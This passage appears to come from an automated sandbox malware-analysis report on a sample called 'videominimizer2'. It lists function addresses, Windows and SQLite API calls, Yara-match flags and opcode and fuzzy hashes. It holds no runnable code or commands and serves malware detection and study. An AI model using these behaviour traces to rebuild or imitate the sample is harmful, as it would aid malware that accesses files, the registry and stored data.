                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3231E4B250C6109FE715BF09E8C17AAFBE4EF58710F06492DEAC887350D6355850CB9B
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(?,?,?,?), ref: 02E08B10
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 823142352-0
                                                                                                                                                                                                                                      • Opcode ID: 7251ba39669f9a71df323dab315f15a688f63b435a0b0c9aaeaf0bb9b20349ef
                                                                                                                                                                                                                                      • Instruction ID: 2b322520be47823a509a29e838374ae41f7cd87f941f4b98c06aa9ede6d141d9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7251ba39669f9a71df323dab315f15a688f63b435a0b0c9aaeaf0bb9b20349ef
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A021F2B151CA009FE715AF19E8C576AFBE4FF58300F46892DEAC887750E6315860CB9B
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • __EH_prolog.LIBCMT ref: 02D8D9BB
                                                                                                                                                                                                                                        • Part of subcall function 02D81A01: TlsGetValue.KERNEL32 ref: 02D81A0A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: H_prologValue
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3700342317-0
                                                                                                                                                                                                                                      • Opcode ID: 0d02f5148c818ee65f1c0751c6a123108f12d4c860a9a3c5f0e9847dc55baaae
                                                                                                                                                                                                                                      • Instruction ID: b7365ee24a22eb98154d0797314f65f3f227814c52d4ab3d876f431d982435bc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0d02f5148c818ee65f1c0751c6a123108f12d4c860a9a3c5f0e9847dc55baaae
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 842112B1908209AFDB04DFA5D440AEEBBFAEB59710F10415AE505A7380D7719D01CBA1
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • __EH_prolog.LIBCMT ref: 02D8D54B
                                                                                                                                                                                                                                        • Part of subcall function 02D826DB: RtlEnterCriticalSection.NTDLL(?), ref: 02D82706
                                                                                                                                                                                                                                        • Part of subcall function 02D826DB: CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02D8272B
                                                                                                                                                                                                                                        • Part of subcall function 02D826DB: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02DA3163), ref: 02D82738
                                                                                                                                                                                                                                        • Part of subcall function 02D826DB: SetWaitableTimer.KERNEL32(?,?,000493E0,00000000,00000000,00000000), ref: 02D82778
                                                                                                                                                                                                                                        • Part of subcall function 02D826DB: RtlLeaveCriticalSection.NTDLL(?), ref: 02D827D9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4293676635-0
                                                                                                                                                                                                                                      • Opcode ID: d073de2c9274882020a21c4ff5b101763dbf6628377b8d8c020cd5a420893a2f
                                                                                                                                                                                                                                      • Instruction ID: e41f5d3557c2dde46f95b574766482ec4e037a5455129a3b533873b3a87f2d20
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d073de2c9274882020a21c4ff5b101763dbf6628377b8d8c020cd5a420893a2f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FF01D0B1904B088FC328CF0AC554986FBF5EF98304B15C5AF944A8B722E7B1DA40CF94
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Close
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3535843008-0
                                                                                                                                                                                                                                      • Opcode ID: eb06fc48407c5659a787097cf97433b083acdd3bc5559e3073b6d83ebd6678e0
                                                                                                                                                                                                                                      • Instruction ID: 00efa456f585e781757c7064b272da0dd42e1381cd44d353f1743c4c452cba42
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eb06fc48407c5659a787097cf97433b083acdd3bc5559e3073b6d83ebd6678e0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B6F05539C08081CBC3018BB0BE908E57BB1A626320310827AD483B72B3C734890EDB0D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileWrite
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3934441357-0
                                                                                                                                                                                                                                      • Opcode ID: 768f86dada92a5c63aa6d3a5580b7021670743c664c601dec1d4ad502c91da44
                                                                                                                                                                                                                                      • Instruction ID: 5a25b6c69d05888c71a8844ff50d9699ace321dbf4f00203d0265e21c116f980
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 768f86dada92a5c63aa6d3a5580b7021670743c664c601dec1d4ad502c91da44
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 38E026729082108FE702D51AC840729B3A3AFC8A00F42C40982C88B708CE35881541D5
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • __EH_prolog.LIBCMT ref: 02D8D32A
                                                                                                                                                                                                                                        • Part of subcall function 02D927B5: _malloc.LIBCMT ref: 02D927CD
                                                                                                                                                                                                                                        • Part of subcall function 02D8D546: __EH_prolog.LIBCMT ref: 02D8D54B
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: H_prolog$_malloc
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4254904621-0
                                                                                                                                                                                                                                      • Opcode ID: aa602d24c9cd4c9ef8537541dc81c15a19b11b8456717d57284fbee631978946
                                                                                                                                                                                                                                      • Instruction ID: 2502d7c013eb0a11974af56839691bfa689a7e930fc2f8f742343f54834ffc9e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: aa602d24c9cd4c9ef8537541dc81c15a19b11b8456717d57284fbee631978946
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A0E08C70A05105ABDB08EF68DC10B6E77A3EB84300F0041AEB80A92780EF309D008A20
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 02D948BA: __getptd_noexit.LIBCMT ref: 02D948BB
                                                                                                                                                                                                                                        • Part of subcall function 02D948BA: __amsg_exit.LIBCMT ref: 02D948C8
                                                                                                                                                                                                                                        • Part of subcall function 02D92493: __getptd_noexit.LIBCMT ref: 02D92497
                                                                                                                                                                                                                                        • Part of subcall function 02D92493: __freeptd.LIBCMT ref: 02D924B1
                                                                                                                                                                                                                                        • Part of subcall function 02D92493: RtlExitUserThread.NTDLL(?,00000000,?,02D92473,00000000), ref: 02D924BA
                                                                                                                                                                                                                                      • __XcptFilter.LIBCMT ref: 02D9247F
                                                                                                                                                                                                                                        • Part of subcall function 02D97944: __getptd_noexit.LIBCMT ref: 02D97948
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: __getptd_noexit$ExitFilterThreadUserXcpt__amsg_exit__freeptd
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1405322794-0
                                                                                                                                                                                                                                      • Opcode ID: 8c10b767bae779a2f5f216933744d6f9d90b752710412ceffe16786753c44bf7
                                                                                                                                                                                                                                      • Instruction ID: 0935f8eb67409644bb3c2e273e1f284eef8523e4dfb01a691c2881d2fb412050
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8c10b767bae779a2f5f216933744d6f9d90b752710412ceffe16786753c44bf7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EBE0ECB5910600AFFF08ABA0D909F2D77A6EF05711F200588F1019B361CA759D41DE30
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • LoadLibraryExA.KERNEL32(?), ref: 0040D05B
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: LibraryLoad
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1029625771-0
                                                                                                                                                                                                                                      • Opcode ID: 990daad7f6c729d56e66747afbc8a8d1a63292ce5cff8e7346021b8327cbb994
                                                                                                                                                                                                                                      • Instruction ID: 64a51a2fdb62ca7e28f5e0a889e807bd0d9443fc0404eb37a7a9ade7e98e3572
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 990daad7f6c729d56e66747afbc8a8d1a63292ce5cff8e7346021b8327cbb994
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 47E0C230900604CFCF04CF64C5D09667BF0FB08304B104136DC25DB291D330D819DB85
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateDirectory
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4241100979-0
                                                                                                                                                                                                                                      • Opcode ID: 49d61084d1b803bccc36c0f14791c6d614054889fb6cc1cc1534ecdbbca379d0
                                                                                                                                                                                                                                      • Instruction ID: 4295efac82691d2531cb7993d84dfddadd46f15947b0ed900394af4654887382
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 49d61084d1b803bccc36c0f14791c6d614054889fb6cc1cc1534ecdbbca379d0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 15C08CF988A010B3D00232400E0AE7A341C4C093853108032F001340C34DFE160103BF
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateDirectory
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4241100979-0
                                                                                                                                                                                                                                      • Opcode ID: 1bf662e3e3553c00b680388d30910e4ff675458b81fbdb0fd3eafd507da1f427
                                                                                                                                                                                                                                      • Instruction ID: d019258e5e8779cc767b11333249365f21376e856059f3aabb32361437c1fd9d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1bf662e3e3553c00b680388d30910e4ff675458b81fbdb0fd3eafd507da1f427
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 22C04C75889410B7D11236911D06E7A642C9D1E7C6320447AB012740C259FE561652BF
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CopyFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1304948518-0
                                                                                                                                                                                                                                      • Opcode ID: 7b1e7f8edabd00cd239949ab8b80d060021c0fd617bd02ab541fd13872f44f3e
                                                                                                                                                                                                                                      • Instruction ID: fbb44a5181d595b923e7792f06510eee7a3702163479285ed013a471b1a4ae05
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7b1e7f8edabd00cd239949ab8b80d060021c0fd617bd02ab541fd13872f44f3e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: ABD0C93060C005C7C21856808B8C6B222685705740B7444BBA947B00E1DBBC4A4AA91F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegOpenKeyExA.KERNEL32(80000002), ref: 0040D906
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Open
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 71445658-0
                                                                                                                                                                                                                                      • Opcode ID: a124f69a4f08ddbc45472f1a68e294713c0e0ddcab5926de2f10ef910c7e6e1a
                                                                                                                                                                                                                                      • Instruction ID: 1be759f945b8f551a5c82f3a066ad8fe6930bf42a22f2cd8e016aae5cd2197f0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a124f69a4f08ddbc45472f1a68e294713c0e0ddcab5926de2f10ef910c7e6e1a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 69C04C21E0C006DAE7545AF1AA496763664AB14344F20497B9423F11C8E778855EA92F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SHGetSpecialFolderPathA.SHELL32 ref: 02DBCFA2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FolderPathSpecial
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 994120019-0
                                                                                                                                                                                                                                      • Opcode ID: 26d94c3e6e8d9c8f0e3c9f0180732f8d9b73cd222fa9c50ffcb4e7ed3d93881e
                                                                                                                                                                                                                                      • Instruction ID: 23623d1524b97b46ea0567bc2604a5dcc7304f80cf47ffbd409ff49fc641e211
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 26d94c3e6e8d9c8f0e3c9f0180732f8d9b73cd222fa9c50ffcb4e7ed3d93881e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 47C04C31C5C444DFCA065B60D469DF97BB4EE457043444896E8D752361E714DC2ADE00
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Close
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3535843008-0
                                                                                                                                                                                                                                      • Opcode ID: a22b86eff667c0d65b56586db00ff49b2189e06894376f06fbdcf183efb37a70
                                                                                                                                                                                                                                      • Instruction ID: da0b79f3debd5a63fbd65768690c4417505416eebd7347441fd54efb0bc29e7b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a22b86eff667c0d65b56586db00ff49b2189e06894376f06fbdcf183efb37a70
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 23C09B31E0C402E5D6550BF48B0C929697055083447255577D107F01ECD5FDD91EE51F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Close
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3535843008-0
                                                                                                                                                                                                                                      • Opcode ID: 7ff1ee28ebfbbec503e7bad357a395345d60922f5326ab2f30b086438bc24430
                                                                                                                                                                                                                                      • Instruction ID: 37455ea7678de06c91da67ef10d12f013f3f5c8d4a9f72a9f7615423df4b71d3
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7ff1ee28ebfbbec503e7bad357a395345d60922f5326ab2f30b086438bc24430
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EEB01230C0C000D6C6000BC08A0891C76306A043007204077A102700D886F89409E60F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 02D90610: OpenEventA.KERNEL32(00100002,00000000,00000000,9944E9DF), ref: 02D906B0
                                                                                                                                                                                                                                        • Part of subcall function 02D90610: CloseHandle.KERNEL32(00000000), ref: 02D906C5
                                                                                                                                                                                                                                        • Part of subcall function 02D90610: ResetEvent.KERNEL32(00000000,9944E9DF), ref: 02D906CF
                                                                                                                                                                                                                                        • Part of subcall function 02D90610: CloseHandle.KERNEL32(00000000,9944E9DF), ref: 02D90704
                                                                                                                                                                                                                                      • TlsSetValue.KERNEL32(00000029,?), ref: 02D911AA
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseEventHandle$OpenResetValue
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1556185888-0
                                                                                                                                                                                                                                      • Opcode ID: 829c71e97b07bab3bbfde17cd9692813a66e2a9652178d7f41923f3a33a6b27c
                                                                                                                                                                                                                                      • Instruction ID: 19566764375670cdeee2837838512ca84726de5e9d1433ec0f9dfdcc0c7d0a9f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 829c71e97b07bab3bbfde17cd9692813a66e2a9652178d7f41923f3a33a6b27c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3901A271A44248EFDB00CF59EC15F5ABBB8EB05671F10472AF829E3380D771AD008AA0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                                                                                      • Opcode ID: b2ffb64222cd42d17f64ff43169fed43f7743989d6ce8053481b6d9a64f2f24d
                                                                                                                                                                                                                                      • Instruction ID: fd0ed19f08144e3477ca87b7d9cc740f4f53305744c4f6fa95ba343aba04ad21
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b2ffb64222cd42d17f64ff43169fed43f7743989d6ce8053481b6d9a64f2f24d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 70F02737D08201DBD61113A87F997643620A705745F354137EE06BA1F2CE7C448A9B0F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                                                                                      • Opcode ID: ddb15782975b23f808471c48354789a71801e7d60cafee4be1fd3b0639555ceb
                                                                                                                                                                                                                                      • Instruction ID: 7451fc23355ae4c8422d0198c49f52f36d1480164026e5fc5377625752783b05
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ddb15782975b23f808471c48354789a71801e7d60cafee4be1fd3b0639555ceb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5DD0A930600A40ABE2429B90EE08B7836986B04300F100232B215E00D0CAB9970AABAA
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,?), ref: 0040D6A6
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                                                                                      • Opcode ID: fbf560bc4ad01f7689ab9ac8627d9c70b0ee5e612fec280c0ee3b640093da5eb
                                                                                                                                                                                                                                      • Instruction ID: e037e9899688e148de334fa140894bf3d641d6a497c30b6599ee09faaa31587d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fbf560bc4ad01f7689ab9ac8627d9c70b0ee5e612fec280c0ee3b640093da5eb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 37C01231009601EFC7460B608E086107B717B05309F150462E546755D1867A2429F65A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                                                                                      • Opcode ID: 2eb53a3946c8e16d469a3b8a7150f91c92ce03251b3f6f96eab0a1d568bff1f3
                                                                                                                                                                                                                                      • Instruction ID: 4eb371bc7b3e6cd752328c08ca5079fb2affd6f3786a1064330129c3d931aee1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2eb53a3946c8e16d469a3b8a7150f91c92ce03251b3f6f96eab0a1d568bff1f3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F6C04C35948605DAD10017E46F49B643631B748705F305137BB06344E28E7D044A6B5F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 609674C6
                                                                                                                                                                                                                                        • Part of subcall function 60916FBA: sqlite3_initialize.SQLITE3(60912743,?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5), ref: 60916FC4
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6096755A
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 6096783A
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 609678A8
                                                                                                                                                                                                                                      • sqlite3_column_bytes.SQLITE3 ref: 609678E8
                                                                                                                                                                                                                                      • sqlite3_column_blob.SQLITE3 ref: 60967901
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 6096791A
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 60967931
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 60967950
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 609679C3
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 60967AA9
